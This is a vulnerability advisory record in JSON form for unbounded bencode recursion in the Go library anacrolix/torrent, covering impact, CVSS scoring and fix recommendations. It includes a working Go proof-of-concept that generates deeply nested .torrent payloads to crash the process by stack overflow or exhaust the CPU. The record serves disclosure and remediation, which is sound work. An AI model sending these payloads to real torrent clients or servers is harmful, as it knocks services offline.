{"id":"GHSA-2wrx-84qj-4pcg","kind":"vulnerability","aliases":["GHSA-2wrx-84qj-4pcg"],"related":[],"title":"anacrolix torrent has unbounded recursion in the bencode decoder that causes stack-overflow crash and CPU-exhaustion DoS","description":"## Summary\n\nanacrolix/torrent's bencode decoder (`bencode/`) applies **no limit on the nesting depth** of nested dictionaries and lists. Two distinct denial-of-service mechanisms follow from that single root cause, both reachable from a single crafted `.torrent` file or from metadata obtained from a peer on a magnet-link/v2 download:\n\n1. **Stack-overflow process crash.** `Decoder.readOneValue` recurses once per nesting level with no depth bound. A `.torrent` whose `info` value is a list nested a few million levels deep (≈8 MB file) drives the recursion past the 1 GiB goroutine-stack limit and the process dies with an unrecoverable `fatal error: stack overflow`. 2. **Quadratic CPU exhaustion.** `metainfo.FileTree.UnmarshalBencode` (BitTorrent v2) re-parses each subtree at every level, making parse time grow ~O(n²). A v2 info dict with a ~30,000-level file tree (≈0.2 MB) takes ~66 s to decode; 60,000 levels exceeds 90 s of decode time.\n\nAffected: every application embedding `github.com/anacrolix/torrent` that ingests attacker-supplied metainfo - the CLI tools (`cmd/torrent`, `cmd/torrent2`), any server that opens `.torrent` files, or any client that accepts metadata from a peer for a magnet/v2 download. No depth limit has ever existed in the decoder.\n\n## Vulnerability Details\n\nAll file:line references are against the pinned commit `4ad31c5170787215c51c6ddaa54abc06b623c11c`.\n\n### Root cause - no recursion/depth limit in the bencode decoder\n\n`bencode/decode.go` implements three independently unbounded recursive parsers. There is no depth counter and no `MaxDepth`/nesting guard anywhere in `bencode/` or `metainfo/`.\n\n**Defect 1 - `readOneValue` recursion (`bencode/decode.go:546-549`)**\n\n```go\ncase 'd', 'l':\n    // read until there is nothing to read\n    for d.readOneValue() {\n    }                       // <- recurses once per nested dict/list level, unbounded\n```\n\n`readOneValue` is invoked by `Decoder.parseUnmarshaler` (`bencode/decode.go:591`) whenever a decoded field implements `bencode.Unmarshaler`, which includes `bencode.Bytes` - the type of `MetaInfo.InfoBytes` (`metainfo/metainfo.go:17`). So decoding a normal `.torrent` routes the entire `info` value through this recursion. Stack usage is ~256 bytes per level (consistent with the observed ~4M-level crash at the 1 GiB goroutine-stack limit), so nesting `l` a few million levels deep exhausts the 1 GiB default goroutine-stack limit. Go's stack overflow is a `fatal error` - it is not a recoverable panic, so the `recover()` in `Decoder.Decode` (`bencode/decode.go:35-55`) cannot intercept it, and the whole process terminates.\n\nEntry points that reach `readOneValue` with attacker-controlled bytes:\n- `metainfo.Load` (`metainfo/metainfo.go:35`) / `metainfo.LoadFromFile` (`metainfo.go:50`) - decoding a `.torrent` file; the `info` value becomes a `bencode.Bytes` unmarshaler field.\n- `Client.AddTorrent` / `Client.AddTorrentFromFile` -> `metainfo.LoadFromFile` (`client.go:1776` inside `AddTorrentFromFile`), and `TorrentSpec.InfoBytes` -> `setInfoBytesLocked` -> `bencode.Unmarshal(b, &info)` (`torrent.go:638`) - peer-fetched metadata.\n\nFor the **remote-peer path** (magnet-link/v2 download), peer-supplied metadata pieces are reassembled and passed to `setInfoBytesLocked` once complete (`torrent.go:1874`). The accepted metadata size is capped at `maxMetadataSize = 16 MiB` (`global.go:18`), which comfortably admits the ≈8 MB Defect-1 payload and the ≈0.2 MB Defect-2 payload, so both defects are reachable from an untrusted peer, not only from a locally-opened `.torrent`.\n\n**Defect 2 - `FileTree.UnmarshalBencode` recursive re-parse (`metainfo/file-tree.go:42-49`)**\n\n```go\nfor key, bytes := range dir {\n    var sub FileTree\n    err = sub.UnmarshalBencode(bytes)   // <- recurses once per file-tree level, and each call re-runs\n                                        //   bencode.Unmarshal over its entire subtree\n```\n\n`FileTree` implements `bencode.Unmarshaler` (`file-tree.go:53`), so the `file tree` field of a v2 info dict (`metainfo/info.go:33`) routes through it. Each level calls `sub.UnmarshalBencode`, which starts with `bencode.Unmarshal(bytes, &dir)` over the *whole remaining subtree*. A file tree nested `D` levels deep therefore performs O(D) `bencode.Unmarshal` calls, each over an O(D)-sized payload - O(D²) total parse work. The steady state is a CPU-bound single goroutine, so the embedding process simply hangs.\n\nReachability: any `bencode.Unmarshal` into `metainfo.Info`, including the peer-metadata path `setInfoBytesLocked` (`torrent.go:638`) for a magnet/v2 download, and `MetaInfo.UnmarshalInfo` (`metainfo/metainfo.go:61-64`).\n\n### Sanitizers / existing limits that do NOT apply\n\n- `Decoder.MaxStrLen` (`bencode/decode.go:787-791`, default 128 MiB) bounds a *single string value*; it is never consulted by `readOneValue` (`decode.go:564` does `io.CopyN(&d.buf, d.r, length)` with no `MaxStrLen` check) and does not bound dict/list nesting depth.\n- The existing fuzzers (`bencode/fuzz_test.go`) only round-trip `interface{}` values; small fuzz inputs cannot synthesize the millions of nesting levels needed to trip the stack limit, which is why this has evaded them.\n\n## Impact\n\n- **Denial of service / availability (complete process crash).** A single ~8 MB `.torrent` file, or ~8 MB of metadata from a malicious peer, crashes the embedding application with `fatal error: stack overflow` (Defect 1). The crash is not recoverable in-process. For a server that ingests user-submitted torrents or runs a long-lived swarm, this is a trivial remote DoS: seed a torrent whose metainfo nests lists deeply, and any client that fetches the metadata dies.\n- **Denial of service / availability (CPU starvation).** A ~0.2-0.6 MB v2 info dict with a deeply nested file tree pins a core for ~66 s to minutes and blocks any other decode work sharing the process (Defect 2).\n\nThreat actor: an unauthenticated remote peer (v2/magnet metadata, within the allowed 16 MiB metadata size - `global.go:18`) or a local user opening a malicious `.torrent`. The remote-peer case is the higher-reachability/cloud scenario; the local-file case requires the victim to open one file (conservative `UI:R`). Headline CVSS 3.1 base `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` = **6.5** (remote, low-complexity, unauthenticated, requires the victim to open a torrent or receive peer metadata, single-process availability loss); for applications that ingest torrents with no user interaction (programmatic server ingestion), UI becomes `N`, raising it to 7.5. CWE-674 (`Uncontrolled Recursion`) is the precise root cause for Defect 1; CWE-407 (`Inefficient Algorithmic Complexity`) covers Defect 2.\n\nPer-metric justification (headline 6.5 vector, `UI:R`):\n- **Attack Vector (AV): Network** - the trigger is peer-supplied metadata (magnet/v2 download, within the 16 MiB metadata budget) or a `.torrent` file opened by any client of the library; no local access required.\n- **Attack Complexity (AC): Low** - the payload is a deterministic list-nesting pattern in metainfo; no race, heap grooming, or special environment.\n- **Privileges Required (PR): None** - feeding metainfo to the decoder is the unprivileged, public API usage.\n- **User Interaction (UI): Required** - the conservative remote scenario needs the victim to open a magnet/torrent (or accept a peer's metadata); programmatic server ingestion removes this (UI:N -> 7.5).\n- **Scope (S): Unchanged** - the impacted security authority is the embedding process itself.\n- **Confidentiality (C): None** - no data disclosure.\n- **Integrity (I): None** - no data modification.\n- **Availability (A): High** - Defect 1 terminates the process with `fatal error: stack overflow` (unrecoverable); Defect 2 starves a core for ~66 s+ per 0.2 MB v2 info dict with clean quadratic scaling.\n\n## Reproduction Steps\n\nAll runs are local-only within the test host; nothing contacts a network.\n\n### Environment and single harness\n\nThe harness is a single Go program (`go test`-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces **both** defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run):\n\n```bash\ngo mod init torrent_recursion_dos\ngo mod edit -require github.com/anacrolix/torrent@v1.61.0\ngo mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout\ngo test -run TestDefect1_StackOverflow -v .\ngo test -run TestDefect2_CPUExhaustion -v .\n```\n\nHarness (`torrent_recursion_dos_test.go`, placed in a temp module that imports the local clone):\n\n```go\npackage torrent_recursion_dos\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/anacrolix/torrent/bencode\"\n\t\"github.com/anacrolix/torrent/metainfo\"\n)\n\n// buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a\n// valid .torrent: { \"info\": <that list> }.\nfunc buildInfo(depth int, mode byte) []byte {\n\tvar b bytes.Buffer\n\tb.WriteString(\"d4:infod\")\n\tfor i := 0; i < depth; i++ {\n\t\tb.WriteByte(mode) // 'l' for a nested list\n\t}\n\tfor i := 0; i < depth; i++ {\n\t\tb.WriteByte('e')\n\t}\n\tb.WriteString(\"ee\")\n\treturn b.Bytes()\n}\n\n// buildV2Info builds a v2 info dict whose \"file tree\" nests `depth` single-key\n// dicts around a valid 32-byte-pieces-root file leaf.\nfunc buildV2Info(depth int) []byte {\n\tleaf := map[string]interface{}{\n\t\t\"\": map[string]interface{}{\n\t\t\t\"length\":      5,\n\t\t\t\"pieces root\": string(bytes.Repeat([]byte{'A'}, 32)),\n\t\t},\n\t}\n\tnode := leaf\n\tfor i := 0; i < depth; i++ {\n\t\tnode = map[string]interface{}{\"a\": node}\n\t}\n\tinfo := map[string]interface{}{\n\t\t\"meta version\": 2, \"piece length\": 32768, \"file tree\": node,\n\t}\n\tout, _ := bencode.Marshal(info)\n\treturn out\n}\n\n// Defect 1: metainfo.Load on a .torrent with a deeply nested info list\n// derives a fatal `goroutine stack exceeds 1000000000-byte limit`.\nfunc TestDefect1_StackOverflow(t *testing.T) {\n\tdepth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs\n\tin := buildInfo(depth, 'l')\n\tif len(os.Getenv(\"SKIP_CRASH\")) == 0 {\n\t\t// Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so\n\t\t// this drives readOneValue recursion. Crashes the process.\n\t\t_, err := metainfo.Load(bytes.NewReader(in))\n\t\t_ = err\n\t}\n\tfmt.Printf(\"[defect1] decoded depth=%d without crashing\\n\", depth)\n}\n\n// Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic.\nfunc TestDefect2_CPUExhaustion(t *testing.T) {\n\tdepth := 30_000 // ~0.2 MB; ~66 s on this machine\n\tsrc := buildV2Info(depth)\n\tvar info metainfo.Info\n\tif err := bencode.Unmarshal(src, &info); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfmt.Println(\"[defect2] parsed deep v2 file tree\")\n}\n```\n\nObservations with the pinned commit (Go 1.26, laptop):\n\n```\n# TestDefect1 - process aborts, unrecoverable:\nruntime: goroutine stack exceeds 1000000000-byte limit\nfatal error: stack overflow\n[exit status 2]\n\n# TestDefect2 - wall-clock parse time (single-threaded):\ndepth=30_000              => ~66 s\ndepth=60_000              => >90 s (timeout)\n```\n\nTo reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the `metainfo.Load` API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as `d4:infod` + 4,000,000 `l` + 4,000,000 `e` + `ee`:\n\n```bash\n./cmd/torrent -seed -metainfo ./crash.torrent   # crashes\n```\n\nThe payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon).\n\n## Recommendations\n\n1. **Add a nesting-depth limit to the decoder** (recommended, fixes both defects). Thread a depth counter through `parseValue` / `parseDict` / `parseList` / `parseValueInterface` / `parseListInterface` / `parseDictInterface` / `readOneValue`, and return a `SyntaxError` when it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it on `Decoder` like the existing `MaxStrLen` (`bencode/decode.go:21-32`). 2. **Make `readOneValue` length-aware.** Apply the same `MaxStrLen` bound to the `io.CopyN(&d.buf, d.r, length)` at `bencode/decode.go:564` instead of trusting the raw length field, so oversized bulk fields fail as `SyntaxError` instead of being buffered. 3. **Break the O(n²) in `FileTree.UnmarshalBencode`.** Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-running `bencode.Unmarshal` on every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. **Convert fatal overflow into a recoverable error.** Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely on `recover()` - a stack overflow is `fatal` and unrecoverable in Go. 5. **Fuzz with depth in mind.** Add a fuzz seed / corpus that includes deeply nested `d`/`l` values and assert both that decoding returns an error (not a crash) and that no level trips the depth limit.\n\n## References\n\n- Source (pinned): `https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c`\n  - Unbounded recursion: `bencode/decode.go:546-549`, `bencode/decode.go:591`\n  - File-tree recursion: `metainfo/file-tree.go:42-49`\n  - Public entry points: `metainfo/metainfo.go:35-50`, `client.go:1776`, `torrent.go:638`\n  - Missing `MaxStrLen` in bulk read: `bencode/decode.go:564`\n  - Metadata size cap (remote reachability): `global.go:18`, reassembly call `torrent.go:1874`\n- Prior hardening in this codebase (unrelated to this class, recorded for completeness):\n  - v2 pieces-root panic fix: commit `7218a979` (\"validate v2 file tree pieces root length before torrent setup\"), present at the pinned commit via `misc.go:92` -> `file-tree.go:164`.\n  - Path-traversal safeguards in storage (`storage/file-paths.go:32` `isSubFilepath`, `storage/safe-path.go:16` `ToSafeFilePath`) - inspected and found to hold (not the issue here).\n- No published advisory found: OSV.dev and NVD return no records for the package (`github.com/anacrolix/torrent`, purl `pkg:golang/github.com/anacrolix/torrent`); the Go ecosystem advisory database lists none.","summary":"The Go library anacrolix/torrent decodes nested bencode lists and dictionaries with no depth limit, so a crafted .torrent file or peer-supplied metadata can overflow the goroutine stack and kill the process. A deeply nested v2 file tree also makes decoding quadratic, pinning a CPU core for a long time.","severity":"medium","cvss":6.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/anacrolix/torrent","fixed":["1.61.1-0.20260911233437-76452a2c8a2f"],"affected":"< 1.61.1-0.20260911233437-76452a2c8a2f","ecosystem":"go"}],"ecosystems":["go"],"tags":["bittorrent","cwe-407","cwe-674","go","package","self-hosted","torrent"],"not_affected_if":["no-torrent-parsing","trusted-input-only"],"how_to_check":"- Check whether the project depends on `github.com/anacrolix/torrent` in `go.mod` and note the version.\n- Run `go list -m github.com/anacrolix/torrent` to confirm the resolved version.\n- Look for code that calls `metainfo.Load`, `metainfo.LoadFromFile`, `AddTorrent` or `AddTorrentFromFile` on untrusted input.","fix":"- `github.com/anacrolix/torrent` at `1.61.1-0.20260911233437-76452a2c8a2f` or later","status":"open","published_at":"2026-10-30T22:55:09+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","triaged_at":"2026-10-30T22:58:44+00:00","updated_at":"2026-10-30T22:58:44+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-30T22:58:44Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/anacrolix/torrent` at `1.61.1-0.20260911233437-76452a2c8a2f` or later","reach":"network","title":"anacrolix torrent: unbounded bencode nesting crashes or stalls torrent clients","impact":"medium","summary":"The Go library anacrolix/torrent decodes nested bencode lists and dictionaries with no depth limit, so a crafted .torrent file or peer-supplied metadata can overflow the goroutine stack and kill the process. A deeply nested v2 file tree also makes decoding quadratic, pinning a CPU core for a long time.","audience":"developers","category":"package","nicknames":[],"who_cares":["go","torrent","self-hosted","bittorrent"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Remote peer crashes the embedding process or pins a CPU core.","analyst_note":"","how_to_check":"- Check whether the project depends on `github.com/anacrolix/torrent` in `go.mod` and note the version.\n- Run `go list -m github.com/anacrolix/torrent` to confirm the resolved version.\n- Look for code that calls `metainfo.Load`, `metainfo.LoadFromFile`, `AddTorrent` or `AddTorrentFromFile` on untrusted input.","plain_action":"","needs_analyst":false,"not_affected_if":["trusted-input-only","no-torrent-parsing"],"who_is_affected":"Any application that embeds the anacrolix/torrent library and parses attacker-supplied .torrent files or accepts metadata from peers for magnet or v2 downloads is exposed. Programs that only use torrents from trusted sources or do not parse metainfo from outside are less exposed. unknown whether a specific deployment ingests untrusted input.","user_interaction":"unknown","needs_special_setup":"no","severity_if_unknown":"medium"},"cost_usd":0.001262,"input_tokens":9285,"output_tokens":667,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-1':560C '-2':567C '-407':36B '-49':595C '-549':347C '-55':464C '-674':38B '/anacrolix/torrent':33A,258C '/nesting':334C '/v2':147C,526C '0.2':236C,564C '000':232C,244C '1':149C,187C,342C,420C,436C '16':550C '17':389C '2':204C,587C '256':406C '2wrx':23A,28A '30':231C '35':463C,485C '42':594C '4ad31c5170787215c51c6ddaa54abc06b623c11c':309C '4m':415C '4m-level':414C '4pcg':25A,30A '546':346C '591':374C '60':243C '66':239C '8':179C,557C '84qj':24A,29A '90':247C 'accept':280C,543C 'addtorrentfromfil':505C 'admit':555C 'affect':252C 'also':84B 'anacrolix':1A 'anacrolix/torrent':48B,97C 'anywher':336C 'appli':102C 'applic':254C 'attack':262C,480C 'attacker-control':479C 'attacker-suppli':261C 'b':510C 'becom':495C 'bencod':8A,51B,99C,101C,317C,338C 'bencode.bytes':383C,497C 'bencode.unmarshal':509C,621C 'bencode.unmarshaler':380C,628C 'bencode/decode.go':319C,345C,373C,462C 'bittorr':34B,209C 'bound':164C 'byte':407C,482C,599C,607C 'call':617C 'cannot':465C 'cap':547C 'case':349C 'caus':11A,126C,311C 'cli':266C 'client':278C 'client.addtorrent':500C 'client.addtorrentfromfile':501C 'client.go:1776':503C 'cmd/torrent':268C 'cmd/torrent2':269C 'comfort':554C 'commit':308C 'complet':540C 'consist':410C 'control':481C 'core':91B 'counter':330C 'cpu':18A,90B,206C 'cpu-exhaust':17A 'craft':61B,132C 'crash':15A,154C,417C 'cwe':35B,37B 'd':350C 'd.readonevalue':360C 'decod':9A,49B,86B,100C,242C,250C,297C,318C,377C,391C,488C 'decoder.decode':461C 'decoder.parseunmarshaler':372C 'decoder.readonevalue':155C 'deep':178C,433C 'deepli':79B 'default':438C 'defect':341C,559C,566C,571C,586C 'denial':117C 'denial-of-servic':116C 'depth':57B,108C,163C,290C,329C 'detail':299C 'dict':228C 'dict/list':365C 'dictionari':54B,111C 'die':196C 'dir':601C 'distinct':115C 'dos':20A 'download':148C,288C,527C 'drive':182C 'embed':255C 'entir':397C,624C 'entri':473C 'err':605C 'error':201C,450C 'ever':293C 'everi':217C,253C 'exceed':246C 'exhaust':19A,207C,434C 'exist':294C 'fatal':200C,449C 'fetch':515C 'field':378C,499C 'file':63B,82B,134C,181C,234C,275C,301C,491C,612C,632C 'file-tre':611C 'file-tree.go:53':629C 'filetre':604C,626C 'filetree.unmarshalbencode':588C 'follow':121C 'ghsa':22A,27A 'ghsa-2wrx-84qj-4pcg':21A,26A 'gib':188C,421C,437C 'github.com':32A,257C 'github.com/anacrolix/torrent':31A,256C 'global.go:18':552C 'go':39B,46B,348C,443C,596C 'goroutin':72B,190C,423C,440C 'goroutine-stack':189C,422C,439C 'grow':222C 'guard':335C 'host':43B 'implement':320C,379C,627C 'includ':382C 'independ':322C 'info':168C,227C,398C,493C,511C 'ingest':260C 'insid':504C 'intercept':466C 'invok':370C 'key':598C 'kill':75B 'l':351C,428C 'level':160C,177C,218C,233C,245C,366C,409C,416C,432C,614C 'librari':47B 'limit':58B,104C,192C,291C,314C,425C,442C 'line':302C 'link':146C,525C 'list':52B,113C,172C 'local':583C 'locally-open':582C 'long':94B 'magnet':145C,524C 'magnet-link':144C,523C 'magnet/v2':287C 'make':85B,219C 'maxdepth':333C 'maxmetadatas':549C 'mb':180C,237C,558C,565C 'mechan':120C 'metadata':68B,137C,281C,516C,531C,544C 'metainfo':264C,340C 'metainfo.filetree.unmarshalbencode':208C 'metainfo.go:50':487C 'metainfo.infobytes':387C 'metainfo.load':483C 'metainfo.loadfromfile':486C,502C 'metainfo/file-tree.go':593C 'metainfo/metainfo.go':388C,484C 'mib':551C 'million':176C,431C 'n':224C 'nest':50B,80B,107C,110C,159C,173C,364C,427C 'normal':393C 'noth':356C 'o':223C 'observ':413C 'obtain':138C 'open':273C,584C 'overflow':14A,70B,152C,203C,446C 'packag':40B 'panic':456C 'pars':213C,220C,592C 'parser':325C 'pass':536C 'past':185C 'path':522C 'payload':561C,568C 'peer':66B,141C,284C,514C,521C,529C,577C 'peer-fetch':513C 'peer-suppli':65B,528C 'per':158C,363C,408C,610C 'piec':532C 'pin':88B,307C 'point':474C 'process':77B,153C,195C,471C 'quadrat':87B,205C 'rang':600C 're':212C,591C,619C 're-pars':211C,590C 're-run':618C 'reach':476C 'reachabl':128C,573C 'read':352C,358C 'readonevalu':343C,368C,477C 'reassembl':534C 'recov':459C 'recover':455C 'recurs':5A,156C,184C,324C,344C,361C,402C,589C,608C 'recursion/depth':313C 'refer':303C 'remot':520C 'remote-p':519C 'root':125C,310C 'rout':395C 'run':620C 'self':42B 'self-host':41B 'server':271C 'servic':119C 'setinfobyteslock':508C,538C 'singl':124C,131C 'size':545C 'stack':13A,73B,151C,191C,202C,403C,424C,441C,445C 'stack-overflow':12A,150C 'sub':603C 'sub.unmarshalbencode':606C 'subtre':215C,625C 'summari':96C 'suppli':67B,263C,530C 'take':238C 'termin':472C 'three':321C 'time':95B,221C,251C 'tool':267C 'torrent':2A,44B,62B,133C,166C,274C,394C,490C,585C 'torrent.go:1874':541C 'torrent.go:638':512C 'torrentspec.infobytes':507C 'tr':633C 'tree':83B,235C,613C 'two':114C 'type':385C 'unbound':4A,323C,367C 'unmarshal':498C 'unrecover':199C 'untrust':576C 'usag':404C 'v2':81B,210C,226C 'valu':169C,399C,494C 'var':602C 'vulner':298C 'whenev':375C 'whole':470C 'whose':167C","nicknames":[],"mitigations":[],"who_affected":"Any application that embeds the anacrolix/torrent library and parses attacker-supplied .torrent files or accepts metadata from peers for magnet or v2 downloads is exposed. Programs that only use torrents from trusted sources or do not parse metainfo from outside are less exposed. unknown whether a specific deployment ingests untrusted input.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"first_public_at":"2026-10-30T22:55:09+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-2wrx-84qj-4pcg","url":"https://github.com/advisories/GHSA-2wrx-84qj-4pcg","severity":"medium","published_at":"2026-10-30T22:55:09+00:00","modified_at":"2026-10-30T22:55:12+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","fetched_at":"2026-10-30T22:56:53+00:00","note":null}],"documents":[{"id":26522,"url":"https://api.github.com/repos/anacrolix/torrent/security-advisories/GHSA-2wrx-84qj-4pcg","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":26523,"url":"https://github.com/anacrolix/torrent/security/advisories/GHSA-2wrx-84qj-4pcg","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":26524,"url":"https://github.com/anacrolix/torrent/commit/76452a2c8a2fd9c59d4d4f10fc3495723d538c7b","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}